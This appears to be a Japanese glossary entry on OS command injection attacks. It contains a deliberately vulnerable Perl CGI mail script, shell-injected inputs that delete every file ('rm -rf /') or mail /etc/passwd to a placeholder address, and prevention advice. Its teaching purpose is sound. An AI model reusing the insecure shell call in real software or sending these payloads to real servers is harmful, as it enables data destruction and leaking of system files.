OSコマンドインジェクション攻撃
読み:オウエス-コマンド-インジェクションこうげき
外語:OS command injection attack

 インジェクション攻撃の一つ。
目次

概要
 パラメーターにOSコマンドを挿入し、プログラムに意図しないコマンドを実行させることを狙った攻撃。
 root権限奪取の足がかりになる、極めて危険な攻撃である。
 この攻撃を受けてしまうようなセキュリティホールは、絶対に発生させてはならない。

実際の例

サンプルソースコード(Perl)
 CGIプログラムで、メールアドレスの登録者に自動で返信する処理を想定する。
#!/usr/bin/perl
use strict;
use CGI;
my $cgi = new CGI;
my $mail = $cgi->param('mail')
my $fp;
open(fp, "|/usr/lib/sendmail $mail");
print fp "Subject: Registration of mail address\n";
print fp "From: regist@example.com\n\n";
print fp "登録ありがとうございます。\n";
close($fp);
 この例では、Webのフォームなどから呼ばれ、利用者が入力したメールアドレスがCGIパラメーターmailの値となることとする。
 もしメールアドレスに「nurupo@example.jp」と入力された場合、上のプログラムでは次のような文字列を作り、シェルに渡され実行される。
 /usr/lib/sendmail nurupo@example.jp
 恐らくこれが、本来想定された動作だろう。しかしもし、悪意ある利用者が「nurupo@example.jp; rm -rf /」と入力した場合、どうなるであろうか。この場合、次のコマンドが実行されてしまう。
 /usr/lib/sendmail nurupo@example.jp; rm -rf /
 「;」は複数のコマンドを区切る文字で、シェルはこの文字を境に、順次左から実行してゆく。つまり、メールを送った後、「rm -rf /」が実行される。
 rm -rf /とは、そのコンピューター内の全ファイルを消せ、という命令である。これが実際に実行されてしまえば、そのコンピューターが再起不能になるであろうことは、想像に難くない。
 また破壊攻撃でなくても、「nurupo@example.jp ; mail nurupo@example.jp < /etc/passwd」のようなことをされる可能性もある。この場合、そのサーバー内にあるファイルが外部に流出することになる。

攻撃の防止方法
 Webアプリケーションの原則として、安易にOSコマンドを呼び出すようなプログラムを書いてはならない。
 OSコマンドを呼ぶ必要性は現実には極めて限定的であろうし、もしその場合は深刻な脆弱性を生む可能性が高いため、処理を書くときには充分な注意が必要である。
 また、入力データが汚染されている可能性があるため、サニタイジングを実施することも忘れてはならない。つまり、入力のチェックは、念入りに行なう必要がある、ということである。

再検索